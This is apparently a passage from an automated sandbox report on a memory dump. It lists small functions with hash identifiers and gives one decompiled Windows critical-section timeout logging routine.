Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: AEE0D832A4111CBBCB3197D99E06F6BBBACDB44BA0F054166B904D7150D5609E00C3D0

Uniqueness

Uniqueness Score: -1.00%

Function 009EFF60, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d399d6a9aa20bec64631374bb511d67025d2cd5159e23a3b0a1bed9c354e3b9
Instruction ID: 0de92700e4423104cd50614e4f0de8d37f9b3ac5efa0bbb6705cc9c817cd547e
Opcode Fuzzy Hash: 9d399d6a9aa20bec64631374bb511d67025d2cd5159e23a3b0a1bed9c354e3b9
Instruction Fuzzy Hash: ABE0DFB06093889FDB36DB97D260F25379C9F9A721F19882FF0084B102DB25DC80C20A

Uniqueness

Uniqueness Score: -1.00%

Function 00A641E8, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64887d0a0b8700965f5e80f7455e168bf11d05522ee4b02dfaa4b110f8b27f80
Instruction ID: efee946457bfda5747598c7f4053349010a5c9093d93deebce5d89fa6af69397
Opcode Fuzzy Hash: 64887d0a0b8700965f5e80f7455e168bf11d05522ee4b02dfaa4b110f8b27f80
Instruction Fuzzy Hash: B4F03974812700DFCBA0EFF9EA05F5436B4F748310F32412AA020872A6EB384982CF01

Uniqueness

Uniqueness Score: -1.00%

Function 00A8D380, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: 8a4e020c67e879ce045ff1bdff96f46953083c9fdb40c086e93aabfdaf6908ab
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 2AE0C231284248BBDB227E44CC01FB9BB26DB907A0F204031FE085E7D1C671AC91E7C4

Uniqueness

Uniqueness Score: -1.00%

Function 00A0A185, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd6b050cc9278ac319b2834cb8ab176cb987a992227231f0b740dd8457043bc
Instruction ID: 112f0a959ddccf3097a21585a3303d78446a08f1dbdbf3fbe6b974ef9270fa99
Opcode Fuzzy Hash: 8fd6b050cc9278ac319b2834cb8ab176cb987a992227231f0b740dd8457043bc
Instruction Fuzzy Hash: F2D02E321301082ACB2CE381AC18F322212EBE8700F324D2CF2070A9E1DE7088E0C30A

Uniqueness

Uniqueness Score: -1.00%

Function 00A016E0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4388b80e0bf5c562f54434f879d6cd60cb379cf4215e3ff8d04b2b1d09984720
Instruction ID: 1a57f74705278801b1a33ebd7751ccf920911d2a13683ef365a2354922dfe683
Opcode Fuzzy Hash: 4388b80e0bf5c562f54434f879d6cd60cb379cf4215e3ff8d04b2b1d09984720
Instruction Fuzzy Hash: B5D0A931200204A6DE2D9B14AC09B652252EBC0B85F38086CF20B898C2CFA2CDA2E588

Uniqueness

Uniqueness Score: -1.00%

Function 00A553CA, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: 094baedec2056f721b44de2170afd84efd08dceed3ecf7c82fe5d322d8a23d7b
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: B7E0EC71954A849BCF12EB9AC660F5EB7F5FB84B50F190454B4085F661C674AD00CB40

Uniqueness

Uniqueness Score: -1.00%

Function 009EAAB0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: 2403c194043a25c7e155218fe836354de760cd614d262981f8a9731802b31124
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 44D0E935352A90CFD617CB1DC554B1573A9BB54B44FC504A0F541CB761E66CED54CA01

Uniqueness

Uniqueness Score: -1.00%

Function 00A035A1, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 16dbdde141d58241c9513fd1f73de36dae62b3e233d719a3d0baf68476ab88d8
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: 4AD0A9338015889EDF02AB10EA2876833BABB00308F6820659002068F2C33A6F0AD600

Uniqueness

Uniqueness Score: -1.00%

Function 009DDB40, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 30fb4e5295e58455cfeef172597fc81792b48baeaba7522a4d7ee21deb0568de
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 7DC08C302C1A40AAEB221F20CD02B1136A4BB51B05F4500A17300DA0F0DB7CDD01E700

Uniqueness

Uniqueness Score: -1.00%

Function 00A5A537, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: e037fe7190b18726cb78b9c2b83e5c513e970eab3f6c68806ff1747f44bca1cf
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 8FC01232080648BBCB126E81CC01F167B2AEB94B60F008010BA080A5618A32E970EB84

Uniqueness

Uniqueness Score: -1.00%

Function 009F3A1C, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 0b3a88d068717d1ab876133e8c10c2d6e4a3460a39454945fbb93188901ba3f3
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: 81C04C32180648BBCB126E45DD01F167B69E795B60F154021B7044A5618576ED61D698

Uniqueness

Uniqueness Score: -1.00%

Function 009DAD30, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 6bf7184637c584f072c68e064c83978f99cd92ff9d3f787893f9ac9d352b602b
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: 41C08C32090248BBC7126A85CD01F11BB29E790B60F000020B6040A6628932E860D688

Uniqueness

Uniqueness Score: -1.00%

Function 00A036CC, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: 57539c86d7eda944a3caebe215f50a42a74c3aaadfc59f3f2f084ec3cb93c250
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: 83C02B71150440BBDF152F30CD11F267258FB40B21F6403547320854F0D5299D00D300

Uniqueness

Uniqueness Score: -1.00%

Function 009E76E2, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: b524d4b1b2f8802b44a51e11e5b81de3038a12c80e5d143a4307c58fdb636003
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 7EC08C701699C45AEB2F6B89CE21B30B658BB08B0CF48099CBA01094A2C368BC02C20A

Uniqueness

Uniqueness Score: -1.00%

Function 009F7D50, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: d8250b36c6ac60e00652c47188c2b63f13bec76618f68539a63003fbfc749373
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: E4B092343019408FCE16DF18C180B2573E8BB44B40B8400D0E400CBA20D229E8008A00

Uniqueness

Uniqueness Score: -1.00%

Function 00A02ACB, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 7dff48d4be25e2a0d3b2b8de0b6b837dbb5a0f182aeced44de31327efcbc1716
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: DDB01232C10480CFCF03EF41C610B197331FB40750F094490A00127931C228AC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00A198A0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0baad9c01779469dda32cb45587887fe334021644379b519c7e2b94803e504
Instruction ID: ad17fe53c9a841a9697a71f05dcc5e4081d15f93713e7ee28c7e3fa1b74f161f
Opcode Fuzzy Hash: 5e0baad9c01779469dda32cb45587887fe334021644379b519c7e2b94803e504
Instruction Fuzzy Hash: A990026130101402D202616D54146060009D7D1395FA1C032E5414555E86658953F172

Uniqueness

Uniqueness Score: -1.00%

Function 00A19820, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6b719953acb7a7b60d5415f74093ae662470c4a7b6599e893da978e41f5b10f
Instruction ID: b461b69a1ff8463fa28210c4532b26aba13966d48db34b1cf07afb8c1e6fbaf0
Opcode Fuzzy Hash: a6b719953acb7a7b60d5415f74093ae662470c4a7b6599e893da978e41f5b10f
Instruction Fuzzy Hash: CA90027124101402D241716D54046060009A7D0391FA1C032E4414554F86958A56FAA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A1B040, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 815cfb29cdc0ff792f501b34615c8c9224987711b3e29df2cad8932be0c2648b
Instruction ID: 0d14ab051b1c382dc5e6de6f15059d6a61464bacdc43c130a29eedec6c41210e
Opcode Fuzzy Hash: 815cfb29cdc0ff792f501b34615c8c9224987711b3e29df2cad8932be0c2648b
Instruction Fuzzy Hash: 3B9002A1601150434640B16D58044065015A7E13513A1C131E4444560D86A88855E2A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A199D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff41ef164e21829354d4047e5e8b3db51482775d0909f1f8ef6d70f57b117a80
Instruction ID: 73bccab904f79c1797fec9879b2798d6c5081669e8efca1c7eacb9148b98f953
Opcode Fuzzy Hash: ff41ef164e21829354d4047e5e8b3db51482775d0909f1f8ef6d70f57b117a80
Instruction Fuzzy Hash: C69002A121101042D204616D5404706004597E1351F61C032E6144554DC5698C61A165

Uniqueness

Uniqueness Score: -1.00%

Function 00A19950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bdedca9452878780825c0efbfb70b9c5686780916e1a73cb15cc8e9b2f08e8b
Instruction ID: 92ae1ecde02384c61c67cbe7cbdf9e21e551efaed938f5c92292961c850eb8c6
Opcode Fuzzy Hash: 8bdedca9452878780825c0efbfb70b9c5686780916e1a73cb15cc8e9b2f08e8b
Instruction Fuzzy Hash: F39002A120141403D240656D5804607000597D0352F61C031E6054555F8A698C51B175

Uniqueness

Uniqueness Score: -1.00%

Function 00A19A80, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43dd7bfaba0cb0f3c517cbc62ecb95ca93ce2634a9ddbc091cecbceb1768f9a1
Instruction ID: 59206d008bd5bbde8c389adc83103a5337827bd7b59044fac1b27bc06e1a848e
Opcode Fuzzy Hash: 43dd7bfaba0cb0f3c517cbc62ecb95ca93ce2634a9ddbc091cecbceb1768f9a1
Instruction Fuzzy Hash: 5C90026120145442D240626D5804B0F410597E1352FA1C039E8146554DC9558855A761

Uniqueness

Uniqueness Score: -1.00%

Function 00A19A10, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a4e829f90218fc2f7262b5e8fd051afa15dcb07344a388e8c7c33f0ee64a042
Instruction ID: 5ad216f0613bc48bcf6719735aa1e40e9419099c9729840dbeaf0df465fe7cbd
Opcode Fuzzy Hash: 5a4e829f90218fc2f7262b5e8fd051afa15dcb07344a388e8c7c33f0ee64a042
Instruction Fuzzy Hash: 9290027120141402D200616D5808747000597D0352F61C031E9154555F86A5C891B571

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A3B0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56e5a34eecadcc05d112c9c35a0951f05b778f6f3b40115b6ceca3dad1cbaf3e
Instruction ID: c0338a1d4359d61cac99177e7d2bea10b0457e88f089e619f8fd83339d2d6d63
Opcode Fuzzy Hash: 56e5a34eecadcc05d112c9c35a0951f05b778f6f3b40115b6ceca3dad1cbaf3e
Instruction Fuzzy Hash: 4A90027120145002D240716D944460B5005A7E0351F61C431E4415554D86558856E261

Uniqueness

Uniqueness Score: -1.00%

Function 00A19B00, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f70be40ac3a7ce9ce9c6f228a1c84603ace90f3cff06b668998834e9a9a0699
Instruction ID: c11838c630c7fd95b2c3dbdbdca934c346007583893d549a260a5a28b295e8cb
Opcode Fuzzy Hash: 2f70be40ac3a7ce9ce9c6f228a1c84603ace90f3cff06b668998834e9a9a0699
Instruction Fuzzy Hash: 6A90026124101802D240716D94147070006D7D0751F61C031E4014554E86568965B6F1

Uniqueness

Uniqueness Score: -1.00%

Function 00A195F0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cc62546a68dd6512e381e041cb4502874a9107ad68bc966f75b9d455253df70
Instruction ID: a852340295428351334d30a338610f0e6deee6d9d591c32063ca02da4a9d8781
Opcode Fuzzy Hash: 8cc62546a68dd6512e381e041cb4502874a9107ad68bc966f75b9d455253df70
Instruction Fuzzy Hash: 3E90027120101802D204616D5804686000597D0351F61C031EA014655F96A58891B171

Uniqueness

Uniqueness Score: -1.00%

Function 00A19520, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52f371e1d771f4edb94641a77fdf2a9991565a793a446b347ab1728f9ca28692
Instruction ID: e04dd3b29a63ba2d8f836c5dcca086fbb46a4a01efc262b71c75a4cf3df18c64
Opcode Fuzzy Hash: 52f371e1d771f4edb94641a77fdf2a9991565a793a446b347ab1728f9ca28692
Instruction Fuzzy Hash: DD9002E1201150924600A26D9404B0A450597E0351B61C036E5044560DC5658851E175

Uniqueness

Uniqueness Score: -1.00%

Function 00A1AD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31610a5b4c6e9242c374428715a5e86db204c91de1581382663ebabdd6957762
Instruction ID: 57bd048cc6c6d76cdc3198433e12379f52e2a8f05bb952a1283af1690aa3b9a3
Opcode Fuzzy Hash: 31610a5b4c6e9242c374428715a5e86db204c91de1581382663ebabdd6957762
Instruction Fuzzy Hash: D5900271A05010129240716D58146464006A7E0791B65C031E4504554D89948A55A3E1

Uniqueness

Uniqueness Score: -1.00%

Function 00A19560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c52b3d64075f46310dad7fc8884397641c286ee9c54a37c98ad426274c6d0a4b
Instruction ID: 5f9e560a5cb354189d72b7349fcdedd8c83d3f4a8c5b084706c91a0204a7a77b
Opcode Fuzzy Hash: c52b3d64075f46310dad7fc8884397641c286ee9c54a37c98ad426274c6d0a4b
Instruction Fuzzy Hash: A2900265221010020245A56D160450B0445A7D63A13A1C035F5406590DC6618865A361

Uniqueness

Uniqueness Score: -1.00%

Function 00A196D0, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5238a81cc58b29b1af129a3bd8a0cd9d975d7400dfdb4a0114427397c3173a4
Instruction ID: 5b5995aa4bbca598498073914a7f620632918210710f8abd39965a6ded7b9665
Opcode Fuzzy Hash: a5238a81cc58b29b1af129a3bd8a0cd9d975d7400dfdb4a0114427397c3173a4
Instruction Fuzzy Hash: CC90027120101842D200616D5404B46000597E0351F61C036E4114654E8655C851B561

Uniqueness

Uniqueness Score: -1.00%

Function 00A19610, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 463c88761cc241194f1579abaf0064d92eae3e63d00494450663e04d15b05518
Instruction ID: b9bbcf1a67f83fd3e4d80788ca9148a444dcd8b99b7ba37c7fddb312b4621972
Opcode Fuzzy Hash: 463c88761cc241194f1579abaf0064d92eae3e63d00494450663e04d15b05518
Instruction Fuzzy Hash: 7690027160501802D250716D5414746000597D0351F61C031E4014654E87958A55B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00A19650, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b80e241abf0687274f21a1fceef485781359755b6c8a90df8b39898234273cb
Instruction ID: 41f1eb6a9e3baa88eb15a1d20108ff99eb8a233cfb37c2ad4a66eb6423425c22
Opcode Fuzzy Hash: 9b80e241abf0687274f21a1fceef485781359755b6c8a90df8b39898234273cb
Instruction Fuzzy Hash: 6390027120505842D240716D5404A46001597D0355F61C031E4054694E96658D55F6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00A19730, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2dd1905826766b59b38efba4e68b2bae58b67abb0378c76f0c83d2d8147b31
Instruction ID: b719e727fd1deab50ac1bd6bc92798d759a7bb470b633527d218aae396cd139a
Opcode Fuzzy Hash: 3c2dd1905826766b59b38efba4e68b2bae58b67abb0378c76f0c83d2d8147b31
Instruction Fuzzy Hash: 1990026160501402D240716D6418706001597D0351F61D031E4014554EC6998A55B6E1

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A710, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe4da367d39c1afa399c5d053addb09a292d65d8c09da0a34d793fddce2611b8
Instruction ID: cfab29d8fab082abada1c4365673511490ea9e678f4b801fadca7037ed52ed7b
Opcode Fuzzy Hash: fe4da367d39c1afa399c5d053addb09a292d65d8c09da0a34d793fddce2611b8
Instruction Fuzzy Hash: E9900271301010529600A6AD6804A4A410597F0351B61D035E8004554D85948861A161

Uniqueness

Uniqueness Score: -1.00%

Function 00A19760, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1779f2a43ee5ee66dfcd62082ac35f915410671162d86eb79d58e09bb43fc793
Instruction ID: 9a21d00cb801bb8d4f773a34f8190c37c151168fe2db0e4d9b459f82229716ef
Opcode Fuzzy Hash: 1779f2a43ee5ee66dfcd62082ac35f915410671162d86eb79d58e09bb43fc793
Instruction Fuzzy Hash: 7490027120101403D200616D6508707000597D0351F61D431E4414558ED6968851B161

Uniqueness

Uniqueness Score: -1.00%

Function 00A19770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0957ee80d7b5b9823b14a0c1ffba53c92c3c5681a9227cff4d874dd3c193220
Instruction ID: 1408f1ccee2cc970c06fd0b5a754f01e7b3291a20aa5c0c5ee4fc8ace47c2230
Opcode Fuzzy Hash: c0957ee80d7b5b9823b14a0c1ffba53c92c3c5681a9227cff4d874dd3c193220
Instruction Fuzzy Hash: 9E90026120505442D200656D6408A06000597D0355F61D031E5054595EC6758851F171

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A770, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a405da58fb4ed4c53d02892600d49143db36000ee7fe7001f1d9998f615d8133
Instruction ID: 87f4cbec3110a78da9dd2fc5676aa3ea8fd8e231930d3337b967249953475ef6
Opcode Fuzzy Hash: a405da58fb4ed4c53d02892600d49143db36000ee7fe7001f1d9998f615d8133
Instruction Fuzzy Hash: 7790027520505442D600656D6804A87000597D0355F61D431E441459CE86948861F161

Uniqueness

Uniqueness Score: -1.00%

Function 00A19670, Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 0fe4bc52b55823715b18e4d6da5272c6a025ef04863acc5129fde8494837e145
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00A6FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00A6FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E00A1CE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E00A65720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E00A65720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x00a6fdda
0x00a6fde2
0x00a6fde5
0x00a6fdec
0x00a6fdfa
0x00a6fdff
0x00a6fe0a
0x00a6fe0f
0x00a6fe17
0x00a6fe1e
0x00a6fe19
0x00a6fe19
0x00a6fe19
0x00a6fe20
0x00a6fe21
0x00a6fe22
0x00a6fe25
0x00a6fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A6FDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 00A6FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 00A6FE01

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: bb7faf1e763c40083e933b23746aca6f94049735c2dadd91ddd3d38f72863526
Instruction ID: fa0adedc710dc4f7bc28abc025a7593e7c3260693e1656f183e9f2e783dfd738
Opcode Fuzzy Hash: bb7faf1e763c40083e933b23746aca6f94049735c2dadd91ddd3d38f72863526
Instruction Fuzzy Hash: 58F0F632640601BFDA201B55DD02F23BF6AEB84730F240314F628565E1DA62FC7096F1

